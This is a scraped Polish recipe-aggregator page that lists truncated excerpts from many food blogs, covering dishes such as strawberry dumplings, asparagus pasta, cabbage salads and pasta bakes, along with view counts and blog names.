wersji wytrawnej, a najcudowniejsze jest to, że można się bawić pięknie dodatkami i za każdym razem tworzyć nowe Read More Artykuł Bezglutenowe placuszki ze szparagami i wędzonym pstrągiem w sosie ziołowo – szpinakowym pochodzi z serwisu flymetothespoon - blog kulinarny

Flymetothespoon
Knedle z truskawką 203

potem kładłam truskawkę i zaklejałam ją w cieście dość ściśle- na kulkę Gotowałam w posolonym wrzątku ponad 5 min. Można podać z bułką tartą z masełkiem albo ze słodkim sosem truskawkowym.                                                 Smacznego

Proste Potrawy
Surówka z młodej kapusty z koperkiem 167

młodej kapusty z koperkiem. Dziś przepis na prostą i naprawdę szybką w przygotowaniu surówkę z młodej kapusty z koperkiem. Idealna do drugiego dania. Ja dziś podałam ją do prostego sosu z piersi kurczaka i ziemniaków. Idealne połączenie. A co u Was dziś było pysznego na obiad? Szukając innych pomysłów z młodą kapustą polecam Wam spróbować: Gołąbki z młodą kapustą

Słodkie okruszki
Pizza z patelni (na śmietanie) 190

wyłożyć dodatki i smażyć na małym ogniu pod pokrywką z dziurką przez około 7-10 minut. Gotową pizzę delikatnie podważyć łopatką kuchenną, zsunąć na talerz i podawać z ulubionymi sosami. Smacznego Pizza z patelni (na śmietanie) Pizza z patelni (na śmietanie) Pizza z patelni (na śmietanie) Artykuł Pizza z patelni (na śmietanie) pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Surówka obiadowa z sałaty lodowej , prosta i pyszna 168

Surówka obiadowa z sałaty lodowej , prosta i pyszna Pyszna i prosta surówka obiadowa z sałaty lodowej , pomidora i kilku innych dodatków . Wszystko mocna zalane sosem jogurtowym , wymieszane i podane do młodych ziemniaków . Takie letnie smaki , które kochają moje chłopaki Świeże nie przetworzone warzywa zawsze są godne uwagi i uwzględnienia w jadłospisie , szczególnie jeśli są sezonowe . No a właśnie sezon

Ogrodnik w podróży
Niedzielny obiad: Steak au poivre, czyli steki panierowane w pieprzu 168

ponieważ bardzo lubimy tego steka), danie nie jest bardzo ostre. Pieprz podczas smażenia łagodnieje, nadając stekom przyjemnego, korzennego aromatu i delikatnej tylko pikanterii. Dodatkowo pieprzność panierki łagodzi doskonały śmietanowy sos podlany koniakiem. Steki panierowane w pieprzu doskonale smakują z pure ziemniaczanym , frytkami i warzywami z wody. Pełny przepis znajdziecie TUTAJ Artykuł Niedzielny obiad: Steak au poivre, czyli steki panierowane

Niedzielny kucharz
Sushi z wędzonym łososiem, mango i warzywami 188

dokładnie zwinąć przy pomocy maty, docisnąć i zrolować w rolkę. 6. Gotowe rolki pokroić ostrym nożem na kawałki o grubości 1-1,5 cm. 7. Sushi podawać z wasabi, sosem sojowym i marynowanym imbirem. #lososmowi Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu jesteśmy w stanie zapewnić Wam łososia najlepszego z najlepszych – tylko takie ryby zaliczają

Szalona Kuchnia Eweliny
Gołąbkowy kociołek z młodą kapustą 187

Gołąbkowy kociołek z młodą kapustą Pyszny i szybki obiad jednogarnkowy, który szczególnie przypadnie do gustu miłośnikom popularnych gołąbków. Mięsno-ryżowe klopsiki w sosie pomidorowym duszone z młodą kapustą, to proste w przygotowaniu danie, które z pewnością zasmakuje całej rodzinie     Składniki: 0,5 kg mięsa mielonego wieprzowego 1/2 główki młodej kapusty 1 szklanka ugotowanego ryżu 1 jajko 1/2 szklanki

Blog z Apetytem
ZIELONA TARTA Z ŁOSOSIEM I SZPARAGAMI 188

powstawania nowotworów, odpowiadają za prawidłowy rozwój płodu i odchudzają. Ponadto są jednym z najskuteczniejszych afrodyzjaków. Zupa krem ze szparagów, szparagi blanszowane podane z masłem i bułką tartą, szparagi z sosem holenderskim, szparagi zapiekane albo też dodane do mięs czy makaronu gościły na moim stole już nie jeden raz! Dziś jednak, zainspirowana genialnym konkursem MOWI IS GOODNESS. Przepisy przepełnione dobrem

Ostra na Słodko
Quiche z anchois 198

zalewy, zostawić 5-6 szt do dekoracji, resztę posiekać. Śmietanę ubić z jajkami, przyprawić solą, pieprzem i tymiankiem, Wymieszać z posiekanymi anchois, cebulą i serem. Na ciasto wylać sos śmietanowy, udekorować filecikami anchois. Piec 45 min w 180st. Artykuł Quiche z anchois pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Podkarpackie proziaki 137

być różnych kształtów jak pisze autor i są przepyszne. Mięciutkie w środku, przypieczone z wierzchu. Zrobiłam je w kształcie trójkątów aby były inne niż zawsze. Można je podawać do sosów, mięs, jako bułki na kanapki, lub zajadać same, wybór zależy od osoby podającej/zjadającej. Przepis wybrałam do naszego cotygodniowego wspólnego wypiekania na FB czyli Wypiekania na śniadanie. Polecam

Moje Małe Czarowanie
Ciasto jogurtowe z rabarbarem 138

kawałki, w garnku podgrzać ksylitol.  Gdy będzie gorący dodać rabarbar i smażyć parę minut, dodać miód, esencję waniliową, przyprawy i skórkę z pomarańczy. Smażyć parę minut. Tak przygotowany sos przelać do tortownicy, Jajka, cukier i cukier ubić na puszystą masę. Dodać jogurt, olej oraz mąkę (wcześniej przesianą) oraz proszek do pieczenia. Wymieszać do połączenia składników. Tak przegotowaną masę przekładamy

Moja Mama Gotuje
Gulasz z indyka w sosie koperkowym. 150

Podlewamy pół szklanki wody. Dusimy do miękkości. Doprawiamy w między czasie do smaku solą, pieprzem i papryką. Dorzucamy starty ząbek czosnku. Dolewamy kolejne pół szklanki wody, chwile gotujemy. Jeśli sos jest rzadki   zagęszczamy  mąką. Koperek myjemy, siekamy i dorzucamy do gulaszu.  Podajemy z kaszami, ryżem lub ziemniakami.  Smacznego

Radość kipiąca uśmiechem.
Zapiekanka makaronowa 165

kurczaka, następnie dodać warzywa pokrojone w paski i dusić przez  około 15 minut. Do podduszonych warzyw dodać bulion i przecier pomidorowy. Wszystko razem jeszcze chwile podusić. Powstały sos wymieszać z makaronem i przełożyć do naczynia żaroodpornego. Ser pokroić w cienkie paseczki i poukładać na makaronie. Można tez oprószyć startym serem. Piec w piekarniku nagrzanym do 180 stopni

Pomysłowa kuchnia
Makaronowa patelnia. 2402

pietruszkę. przyprawić solą i pieprzem. Podsmażyć około 10 minut. Dodać wcześniej podsmażona pierś. Serek pokroić na mniejsze kawałki i wrzucić na patelnię. Wlać gorącą wodę i mieszać do powstania sosu.  Dodać ugotowany makaron i wymieszać

Agusiowe smakołyki
Zielone placki warzywne z piekarnika 149

groszek, cukinia i seler naciowy. Do placków dodałam jedynie dwie łyżki kaszy manny co sprawia, że placki są bardzo lekkie. Będą doskonałe na obiad w towarzystwie sałatki i aromatycznego sosu, lub na lekką kolację.  Jeśli macie ochotę na inne wersje warzywnych placków to podrzucam kilka inspiracji: Pieczone placki z marchewki, ziemniaków i gruszki Z batata i kalafiora Z cukinii

HealthyCreations
Sajgonki śniadaniowe z łososiem wędzonym, mozarellą i awokado 204

tradycyjne gołąbki. Zawinięte sajgonki zanurzać w roztrzepanym jajku i smażyć na suchej, mocno rozgrzanej, nieprzywierającej patelni z każdej strony na rumiano. Podawać z ulubionymi dodatkami. Najlepiej smakują z sosem chili. Smacznego Sajgonki śniadaniowe z łososiem wędzonym, mozarellą i awokado Sajgonki śniadaniowe z łososiem wędzonym, mozarellą i awokado Sajgonki śniadaniowe z łososiem wędzonym, mozarellą i awokado Artykuł Sajgonki śniadaniowe z łososiem

Smaki Armine
Szynka duszona z warzywami 150

Zobacz jak zrobić szynkę duszoną z warzywami w aromatycznym sosie własnym. To mój sprawdzony i niezawodzony przepis na pyszny, domowy obiad dla całej rodziny. Przygotujecie ją błyskawicznie, a resztę – robi się już sama! Smacznego! Jeśli spodobał Ci się ten przepis, kliknij serducho i podziel się nim ze znajomymi Artykuł Szynka duszona z warzywami pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
Spaghetti bolognese 193

Polsce przyjęło się, że spaghetti bolognese składa się jedynie z sosu pomidorowego z mięsem mielonym. Oryginalny przepis na spaghetti bolognese jednak, zawiera w sobie nie tylko mięso (głównie wołowina/wieprzowina) i boczek czy kiełbasy, ale także dodatek warzyw, jak cebula, marchew, pietruszka i seler, a pomidory są jedynie dodatkiem. Continue reading Spaghetti bolognese at Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Kalafior smażony inaczej. Możesz zrobić z niego pyszne steki! PRZEPIS 189

Należy to zrobić pod przykryciem, aby kalafior jednocześnie się ugotował. Po zdjęciu z patelni steki najlepiej odsączyć na papierowych ręcznikach. Rada: do tak przygotowanego kalafiora świetnie pasuje sos na bazie jogurtu naturalnego z dodatkiem odrobiny pasty sezamowej tahini i czosnku roztartego na papkę z solą. Jak dodatek podaliśmy też pęczak ugotowany razem z zieloną soczewicą. Artykuł Kalafior smażony inaczej. Możesz

Kulinarna Polska
Czwartek: Ziołowe polędwiczki zawijane w bekon 191

natrzeć pastą i odstawić najlepiej na całą noc, żeby przyprawy miały czas uwolnić swoją moc. Do polędwiczek polecamy ziołową sałatkę ziemniaczaną z kremowym pesto. Wart uwagi jest sposób robienia sosu, żywcem ściagnięty z pesto do makaronu. Do mieszkanki ziół i oliwy należy dodać wody spod gotujących się ziemniaków. Skrobia jaką zawiera zamienia całość w jedwabną emulsję. (Przepis znajdziecie pod przepisem

Niedzielny kucharz
Makaron ze szparagami – tagliatelle ze szparagami 134

minutę dodać zielone. Ugotowany makaron ze szparagami przełożyć na patelnię, dodać masło i wlać 2 – 3 łyżki wody z gotowania makaronu. Gotować do czasu aż masło się rozpuści i sos zgęstnieje. Przełożyć makaron na talerz, ułożyć na nim wyjęte z wody ruloniki z zielonych szparagów. Posypać startym serem. Można podać z jajkiem w koszulce . *Danie można przygotować z jednego rodzaju

królestwo garów
Skrzydełka pieczone 165

praktycznie robią się same. Wrzucamy je do aromatycznej marynaty, zostawiamy na noc w lodówce a potem przepakowujmy do żaroodpornego naczynia i do piekarnika. Można podać na przekąskę z zestawem sosów, albo jako danie obiadowe z dodatkiem np. kaszy gryczanej i surówki. W sezonie, skrzydełka wg tego przepisu można również upiec na grillu. PRZEPIS NA SKRZYDEŁKA PIECZONE Składniki na skrzydełka pieczone

Dorota Smakuje
Zapiekanka makaronowa z serem 357

Zapiekanka makaronowa z serem to pomysł na danie jeśli nie macie zbytnio czasu na gotowanie i jeśli lubicie żółty ser. Tak, tak danie to w żadnym

Kulinarnyblog.pl - wiesz jak gotować!
Chana masala 148

masala ma setki wariantów, które w zależności od regionu,  różnią się smakiem i konsystencją. Może przypominać zupę, albo mieć postać gęstego dania jednogarnkowego. Najczęściej gotujemy wersję z pikantnym sosem z dodatkiem pomidorów, ale przygotowujemy chana masala także na wiele innych sposobów, wykorzystujemy ją również jako nadzienie do indyjskich pierożków sambousek. Wiele osób rezygnuje z przygotowywania w domu chana masala

Kulinaria - potrawy z różnych stron świata
Pałki kurczaka zapiekane w ryżu i sosie pomidorowym 258

kolejno masło, koncentrat, przeciśnięty przez praskę czosnek. Wszystko wymieszałam i zagotowałam. Dodałam przyprawy. Wymieszałam i zdjęłam rondelek z ognia.   Do naczynia żaroodpornego przesypałam ryż i zalałam przygotowanym wcześniej sosem. Na to wyłożyłam pałki kurczaka i zapiekałam pod przykryciem ok. 1 godziny w 180 stopniach. 15 minut przed końcem pieczenia zdjęłam pokrywkę żeby pałki z kurczaka zarumieniły się.   Oprószyłam

Pieprzyć z Fantazją
Makaron ze szparagami, oliwkami i kukurydzą w sosie śmietanowym 132

nadzieję, że będzie tak już cały czas, bo te deszcze dały się we znaki. U mnie dzisiaj przepis na pyszny makaron ze szparagami, oliwkami i kukurydzą. To wszystko w sosie śmietanowym, całość posypana serem Parmigianino Reggino. Pysznie wyszło, my tak lubimy :-). Polecam i miłego dnia Wam życzę :-) Składniki na 5 porcji: 1 opakowanie makaronu u mnie kokardki 1 pęczek szparag

kruche babeczki
Fałszywe gołąbki są naprawdę pyszne. Przepis bez zawijania 804

patelni. Na dnie naczynia żaroodpornego wyłóż pomidory i dopraw, na nich ułóż gołąbki i zapiekaj przez około 50 minut w temperaturze 180 stopni. Rada: gołąbki możesz też udusić w sosie na głębokiej patelni, jednak zapieczone są dużo lepsze. Artykuł Fałszywe gołąbki są naprawdę pyszne. Przepis bez zawijania pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Poniedziałek: Udka w glazurze miodowo-musztardowej 167

Wymieszaj dokładnie. Krok 3 Wyjmij udka z piekarnika, przestudź, następnie przełóż do głębokiej misy, polej glazurą, obtocz w niej dokładnie mięso. Przełóż z powrotem na tackę (odlej z niej sos jaki wytworzył się podczas pieczenia). Wstaw do piekarnika na 10 minut. Jeśli udka będą się za bardzo przypalać, zmniejsz temperaturę. Zrób keczup: połącz wszystkie składniki w miseczce (pół szklanki passaty

Niedzielny kucharz
Ravioli z łososiem i koperkowo-orzechowym masełkiem 154

orzechy uprażyć na suchej patelni i również pokroić na mniejsze części. Masło roztopić, dodać przeciśnięty przez praskę czosnek, koper i orzechy. Całość dokładnie wymieszać i chwilę smażyć aby sos nabrał aromatu. 6. Gotowe ravioli podawać polane masełkiem koperkowo-orzechowym. #lososmowi Co jest dobre?  Przepisy przepełnione dobrem MOWI. Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu

Szalona Kuchnia Eweliny
Zapiekanka makaronowa w kremowym sosie pomidorowym 156

Pieczemy 15-20 minut, do miękkości makaronu. Smacznego! Wartości odżywcze całego dania: Kalorie 3407 kcal Węglowodany 384.71 g Białka 1850 g Tłuszcze 149.3 g Artykuł Zapiekanka makaronowa w kremowym sosie pomidorowym pochodzi z serwisu Cook Yourself

CookYourself
Naleśnik z otrębów owsianych 188

kiedy wierzch całkowicie się zetnie, ostrożnie podważyć naleśnik z każdej strony i zsunąć na talerz. Na jedną stronę naleśnika wyłożyć ulubione dodatki, przykryć drugą połową i podawać z ulubionymi sosami. Smacznego Naleśnik z otrębów owsianych Naleśnik z otrębów owsianych Naleśnik z otrębów owsianych Artykuł Naleśnik z otrębów owsianych pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Młode ziemniaki rozmarynowo czosnkowe z cytrynowym kurczakiem i szparagami 171

dwóch stron tylko tyle, żeby białko się ścięło. Całość dusimy pod przykryciem ok. 25 min, czas w zależności od wielkości filetów. Rada: mięso powinno dusić się w własnym sosie, ale na samym początku można (po podsmażeniu) można wlać gorącej wody max 50 ml. szparagi: Szparagi myjemy, odrywamy stwardniałe końcówki , wystarczy tylko wygiąć je w łuk, a same

Moniki Smakołyki
Przepisy z truskawkami na każdą okazję. Truskawkowe Love. 65 przepisów na truskawki 408

Herbaciane naleśniki z truskawkami i jogurtem – serowe knedle z truskawkami i musem truskawkowym – pierogi z truskawkami – Sałatka z truskawkami, kurczakiem i sosem balsamico – Sałatka z wędzonym łososiem i truskawkami, oraz warsztaty Oleofarm i Cucina Koktajle: – Koktajl truskawkowy z zieloną herbatą – dietetyczny koktajl truskawkowy – Koktajl truskawkowy na kefirze – Dietetyczny koktajl z mango i truskawką

Damsko-męskie spojrzenie na kuchnię
Bigos z młodej kapusty 146

zasmażkę. Na patelnię wsypałem łyżkę mąki pszennej oraz dwie łyżki masła klarowanego. Zamieszałem zasmażkę drewnianą łyżką. Wlałem zasmażkę do garnka z bigosem.  Mieszałem bigos przez minutę. Dzięki zasmażce sos w bigosie będzie gęstszy i smaczniejszy

R'n'G Kitchen
Babeczki z musem truskawkowym i włoską opalaną bezą 186

pokolenia na pokolenie. Zgodnie z wielkopolskim etosem – wszystkie nasze przetwory zostały pracowicie przygotowane i dostarczają praktycznych rozwiązań podczas przygotowywania codziennych posiłków. Dbamy o to, by do naszych konfitur, soków, sosów i pozostałych produktów trafiały świeże i zdrowe plony z wielkopolskich upraw. Dzięki naturalnym metodom konserwacji – nasze przetwory są zdrowe. Zaufaj sprawdzonym sposobom naszych babć na zamknięcie w słoiku mnóstwa witamin

Szalona Kuchnia Eweliny
Dyniowe muffinki zakręcone nutą miodu i cynamonu 160

walorów. Polski przysmak z dyni, bez dodatku konserwantów, o lekko słodkawym posmaku może odgrywać w kuchni istotną rolę i pomóc Ci odkryć więcej kulinarnych zdolności. Pasuje nie tylko do sosów, zup i mięs, ale sprawdzi się także jako dodatek do kanapek czy nietypowych deserów. Gładką konsystencję uzyskaliśmy dzięki procesowi rozdrabniania, zachowując przy tym wszystkie cenione w dyni wartości odżywcze

Szalona Kuchnia Eweliny
Smażone pierogi z kaczką i masłem majerankowym 153

może Cię zainteresować: → Pierogi z kapustą kiszoną, kminkiem i boczkiem → Smażone pierogi z wołowiną na ostro → Pierogi ruskie → Smażone pierogi szafranowe z rydzami i czerwonym pieprzem → Piersi kaczki w sosie pomarańczowo – imbirowym z anyżem

Oryginalny smak
Pieczona rolada ze schabu z boczkiem i botwinką 189

śliwkami → Świąteczna pieczona łopatka z czosnkiem → Pieczeń z dzika z suszonymi śliwkami na puree z pieczonej papryki i batata → Zrazy wołowe → Roladki z szynki z suszonymi pomidorami, oliwkami i sosem bazyliowym

Oryginalny smak
Pizza ze szparagami i białym sosem 188

olejem. Wyrabiamy gładkie ciasto. Rozwałkowujemy na kształt koła, zaginamy do środka brzegi. 2. Ze szparagów odłamujemy twarde końcówki, podsmażamy je na rozgrzanej oliwie przez 5-7 minut. Przygotowujemy sos: ricottę mieszamy z przeciśniętym przez praskę czosnkiem, solą i pieprzem.  3. Placek smarujemy ricottą, posypujemy mozzarellą. Na wierzch układamy pokrojone na części szparagi, pomidorki koktajlowe oraz cebulę. 3. Pieczemy

Szefowa kuchni
KOTLETY Z KASZY GRYCZANEJ 185

obiadu. Wszystkie składniki  wystarczy rozdrobnić w malakserze lub w prostszej wersji, wymieszać widelcem w misce (wówczas ziarenka kaszy będą bardziej wyczuwalne). Najlepiej smakują z dipem czosnkowym, mizerią lub sosem pieczarkowym . Można podać do mięs i ryb z grilla lub gulaszy. SKŁADNIKI / 8 sztuk 150 -200 g (1-1i1/2 szklanki) ugotowanej kaszy gryczanej 50 g sera, najlepiej parmezanu

cool and minty
Lunchbox Monbento Square – test produktu 157

gumka dzięki, której możemy zabrać ze sobą tylko jedno pięterko MB Square, co jest bardzo praktyczne. Lunchbox Monbento Square – AKCESORIA Do kompletu można dokupić komplet sztućców, pojemniki na sosy czy butelki MB, które również występują w wielu wersjach kolorystycznych. Ja z pewnością niedługo zamówię kilka dodatkowych rzeczy, dzięki którym przygotowywanie zestawów do pracy będzie jeszcze przyjemniejsze. Dla fanów ładnych

Pasja Smaku
Roladki z kurczaka ze szparagami 176

wlezie”. 😀 W mojej kuchni szparagi zagościły na dobre, dlatego też dziś przychodzę do Was z nowym przepisem, którym są roladki z kurczaka ze szparagami w kremowym sosie serowym. Continue reading Roladki z kurczaka ze szparagami at Blog kulinarny Kurkanielotka.pl

kurkanielotka.pl
Mannowiec z konfiturą agrestową 147

pokolenia na pokolenie. Zgodnie z wielkopolskim etosem – wszystkie nasze przetwory zostały pracowicie przygotowane i dostarczają praktycznych rozwiązań podczas przygotowywania codziennych posiłków. Dbamy o to, by do naszych konfitur, soków, sosów i pozostałych produktów trafiały świeże i zdrowe plony z wielkopolskich upraw. Dzięki naturalnym metodom konserwacji – nasze przetwory są zdrowe. Zaufaj sprawdzonym sposobom naszych babć na zamknięcie w słoiku mnóstwa witamin

Szalona Kuchnia Eweliny
Gulasz wieprzowy z piwem wrzosowym 205

powoli dusić przez około godzinę, -półtorej, lub do czasu aż mięso będzie miękkie.  Pod koniec gotowania dodać posiekaną natkę pietruszki, ewentualnie doprawić do smaku solą i pieprzem. Jeżeli sos jest zbyt rzadki, odkryć i chwilę pogotować, aż zgęstnieje.  Podawać z pure ziemniaczanym lub kluskami z dziurką, kopytkami czy kluskami łyżką kładzionymi. Jako dodatek można podać kiszone ogórki, które

Codzienne Gotowanie
Deserownik. Kuchniokracja – recenzja 160

muffinki czy brownie. Co bym ugotowała z “Deserownika” ? Wybrałabym babeczki z rabarbarem, śliwki w cieście, krem czekoladowy z solą i oregano, brownie z matchą, czyli greenie, ciasteczka z sosem sojowym, bekonem i czekoladą, tartę z kremem z palonym masłem, pastę z czarnego sezamu lub z fasoli azuki, sernik z shiro miso i słonym karmelem, ciasteczka z miso, albo muffinki

Ugotowane pozamiatane
Pasztet ziemniaczany z mięsem 204

pieczemy pasztet przez godzinę. Upieczony pozostawiamy przez ok 15 minut w formie, po czym delikatnie wykładamy i dzielimy na porcje.  Podajemy na ciepło np z sosami zakupionymi w sklepie Manufaktura Wielkopolska , dokładnie tutaj . Odpowiednio wyselekcjonowane składniki pozwolą cieszyć się wyjątkowym smakiem, który w połączeniu z domowymi, mięsnymi wypiekami na długo pozostanie w naszej pamięci! Sprawdźcie ofertę sklepu i pamiętajcie

Kuchnia w czekoladzie
Domowe drożdżówki ze śliwką w syropie i chrupiącą kruszonką 169

pokolenia na pokolenie. Zgodnie z wielkopolskim etosem – wszystkie nasze przetwory zostały pracowicie przygotowane i dostarczają praktycznych rozwiązań podczas przygotowywania codziennych posiłków. Dbamy o to, by do naszych konfitur, soków, sosów i pozostałych produktów trafiały świeże i zdrowe plony z wielkopolskich upraw. Dzięki naturalnym metodom konserwacji – nasze przetwory są zdrowe. Zaufaj sprawdzonym sposobom naszych babć na zamknięcie w słoiku mnóstwa witamin

Szalona Kuchnia Eweliny
Grillowany mini kebab z cukinią 188

Idealne danie na lekki obiad dla rodziny i przyjaciół do podania w ogrodzie.  Aromatycznie przyprawione delikatne mięso z indyka lub jagnięciny, a do tego cukinia i odrobina jogurtowego sosu z suszonych pomidorów i nic więcej nie potrzeba. Mini kebaby są szybkie do przygotowania, mięso można przyprawić wieczorem, a rano tylko uformować i grillować. Najlepsze kebaby wychodzą z jagnięciny

Kuchcik gotuje
Pikantne skrzydełka z kurczaka 181

Pikantne skrzydełka z kurczaka mogą być zarówno potrawą z grilla, jak i propozycją weekendowego obiadu. W zależności od tego jaką ostrość lubicie dodajcie więcej albo mniej

Kulinarnyblog.pl - wiesz jak gotować!
CIASTO Z METZ 177

śmietanę i startą czekoladę, całość wymieszaj, przełóż do formy. Wstaw do nagrzanego piekarnika. Piecz około 40 minut, aż ciasto nabierze mocno złocistego koloru (do suchego patyczka). * Ś mietany do sosów i zup typu Ś mietana Szefa Kuchni Danone

Smaki Francji współczesna kuchnia francuska
Pięć porcji warzyw i owoców w dziennym jadłospisie 197

moim dziennym jadłospisie znajduje się szklanka soku, smoothie, zupa na bazie warzyw, powieczorek to zwykle owoc np. jabłko, gruszka, pomarańcza, a wieczorem na kolację jemy warzywa szybko podsmażane w sosie sojowym.  Gdyby znano zalecenia IŻŻ  w czasach PRL  ściany w naszych domach mogłyby zdobić popularne wtedy bawełniane makatki

AZgotuj!
Nietypowa sałatka z szynka i groszkiem 210

sałatkę z szynką i groszkiem. Dlaczego nietypowa? Bo tak na początku mówili moi goście „Nietypowa, ale naprawdę smaczna”. Połączeniu miksu sałat, groszku, jajek, szynki i… pysznego sosu pomidorowego nie jest czymś typowym, ale… To wszystko sprawia, że goście proszą o dokładkę! Sałatka powstała dość dawno i tak właściwie przez przypadek. Pamiętam, że miałam niespodziewanych gości

Słodkie okruszki
Paluchy pizzowe Twisty z łososiem i suszonymi pomidorami 233

łyżeczka cukru 25 g drożdży 2 łyżki oliwy 1/2 łyżeczka soli himalajskiej 1 łyżka ziół prowansalskich Dodatki : 100 g łososia wędzonego Mowi 1 mały słoiczek koncentratu pomidorowego lub sosu pomidorowego 5 suszonych pomidorów 50 g sera żółtego lub mozzarella Przygotowanie: Zagniatamy ciasto. Powinno być elastyczne. W razie potrzeby dodajemy więcej mąki lub wody. Odstawiamy na godzinę w ciepłe miejsce

Czarnawisienka
Wtorek: Risotto z groszkiem i pieczarkami 172

chwilę aż uwolni aromat. Krok 3 Wsyp do rondla pół szklanki ryżu, zamieszaj i smaż kolejne 2-3 minuty aż ryż stanie się szklisty i ziarenka pokryją się maślanym sosem. Wtedy wlej do ryżu pół szklanki wina, zamieszaj i gotuj aż płyn odparuje z rondla. Następnie wlej tyle rosołu, żeby przykrył ryż, zmniejsz ogień i gotuj ryż w wywarze, mieszając

Niedzielny kucharz
Pizza bianca z gorgonzolą, gruszką i boczkiem 187

Tydzień temu weekend spędziłam w Warszawie na konkursie Mistrzowie domowych wypieków. Jednym z zadań było przygotowanie pizzy. Ja zdecydowałam się na zrobienie pizzy bianca (bo sos był biały na śmietanie, a nie tradycyjne pomidorowy). Smak pizzy był wytrawny, od połączenia gruszki, która oddała swoją słodycz, gorgonzoli, która dała lekko ostry i wyraźny smak sera, boczku jako dodatek mięsny chrupiący

Bernika - moj kulinarny pamietnik
Menu na tydzień: Przepisy na proste włoskie dania 159

Włosi dodają do rosołu warzywa, szpinak, a przede wszytkim pyszne pulpeciki zagniecione z parmezanem. Pycha. Piątek: Zapiekanka manicotti Delicje z faszerowanych masą serowo-szpinakową rurek z makaronu, zapieczonych w sosie pomidorowym. Danie naprawę warte grzechu. Przepisy na kolejne dania będziemy dodawać codziennie rano, zaraz po tym, jak uda nam się je spisać:) Postaramy się też dodać listę zakupową, czyli spis

Niedzielny kucharz
Klasyczne danie ze szparagami, boczkiem i jajkiem 215

przygotować na wiele sposobów: można gotować w wodzie, na parze, grillować czy właśnie zapiekać. Same warzywo jest na tyle uniwersalne, że szparagi mogą być serwowane same, na przykład polane sosem holenderskim, ale mogą również stanowić dodatek do obiadu – co kto lubi i na co ma ochotę. Przepis jest z jajkami w koszulce, ale jeżeli nie lubicie tak podanych

A to pestka
Sałatka ryżowa z tuńczykiem 123

kolację, świetna by zabrać ją do pracy. Szybka i być może wszystkie składniki macie w domu. Składniki: 1 torebka ryżu ugotowanego w osolonej wodzie 1 puszka tuńczyka w sosie własnym – odcedzamy wodę 1 czerwona papryka pokrojona w kostkę 1 puszka zielonego groszku- odlewamy zalewę sól pieprz 1 łyżka majonezu 2 łyżki jogurtu naturalnego Wszystkie składniki mieszamy i zajadamy

MojaQchnia.pl
Bałkańskie smakołyki z grilla - Bubamara 154

przyprawione kotleciki od razu przywiodły na myśl kjufte oraz sałatkę szopską, którymi zajadałam się podczas wakacji. Ta kombinacja naprawdę skradła moje serce! Cevapi w połączeniu z ajvarem, pljeskavica z sosem na bazie sera pleśniowego i białej czekolady - wyśmienite! Tego trzeba spróbować! Nie zabrakło także grillowanych warzyw, gdy zobaczyłam bataty i szparagi już wiedziałam, że będzie genialnie. I mimo, że mięska

Cooking Monster
KOTLECIKI JAJECZNE 155

Bezmięsne kotlety, które świetnie sprawdzą się jako piątkowy obiad. Można podać je z ulubionym sosem, zyskają ciekawego smaczku.  Składniki: 10 jajek ugotowanych na twardo 2 jajka surowe 2 łyżki bułki tartej 2 łyżki posiekanej natki pietruszki 2 łyżki pokrojonego szczypiorku sól, pieprz dodatkowo: bułka tarta do panierowania olej do smażenia Wykonanie: Ugotowane jajka rozgniatamy widelcem, wbijamy surowe jajko, dodajemy

Z Majeczką w kuchni
Kura Bamango (Kurczak w sosie bananowo-mangowym) 172

kamrat1, kery2 sie przekludziōł3 do Tajlandii, ôzprawioł4 mi jakiś czołs5 tymu ô recepcie6 na krewetki ze mango. Do tamtego żech jeszcze niy prziszoł7, ale [...] Artykuł Kura Bamango (Kurczak w sosie bananowo-mangowym) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Jajko w koszulce na szparagach z musztardowym winegretem 163

zainspirowana obecną porą roku, przygotowałam rewelacyjne  jajko w koszulce na szparagach z musztardowym winegretem  i  plastrem szynki parmeńskiej. Takie śniadanie to coś wspaniałego! Dodatek kwaskowego sosu musztardowego, który świetnie komponuje się ze szparagami, okazał się strzałem w "10"! Jajko w koszulce i szparagi kojarzą się z czymś niezwykle wykwintnym i ekstrawaganckim. Myślę, że takie śniadanie mogłoby

Codzienne Gotowanie
Gnocchi ze szparagami i tymiankiem 192

przypominają polskie kopytka, choć są bardziej miękkie i delikatne. Ja postawiłam na klasykę, czyli gnocchi z mąki i ziemniaków. Pomyślałam, że do szparagów będą pasowały idealnie. Do tego delikatny sos z parmezanem. Pełnia szczęścia. W przepisie jest również dziwnie brzmiący soliród. Jest to roślinka rosnąca na błotnistych wybrzeżach i plażach. Czasami określany jest jako morski szparag. Soliród można kupić

wiecejwarzyw.pl
Kurczak z kaszą jęczmienną i koperkiem 158

adsbygoogle = window.adsbygoogle || []).push({}); Kurczak z kaszą jęczmienną i koperkiem wykonanie: Kurczaka kroimy w kostkę, marynujemy w oliwie z oliwek, słodkiej i ostrej papryce, curry, imbirze i 1 łyżeczce sosu worcester. Zostawiamy na godzinę. Smażymy na patelni przez około 4 minuty, przekładamy na miseczkę. Paprykę i cebulę kroimy w grubszą kostkę, smażymy przez około dwie minuty, dodajemy kaszę pęczak, podsmażamy razem

Delusional Trine
Łopatka z sosem cygańskim 169

samo się piecze, dzwoni kiedy jest gotowe i studzi potrawę, bo w sumie nie muszę jej przecież wyciągać. Kolejny obiad z mojego nowego piekarnika Electrolux EOE7P31X to łopatka w sosie cygańskim Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Paluszki 111

Coś do pochrupania. Fajna przekąska do posiedzenia podczas grillowania lub przed telewizorem. Bardzo proste w przygotowaniu, nie mogą się nie udać Doskonale smakują z różnymi dipami,sosami itp. Zapraszam do przepisu. Składniki 500 g mąki pszennej 200 g margaryny 1 jajko 1 białko 1/2 szklanki kwaśnej śmietany sól według uznania, dałam 1/2 łyżeczki Mąkę posiekać … Czytaj dalej Paluszki

gotuj ze mną
Tagliatelle w sosie pomidorowym ze szparagami 133

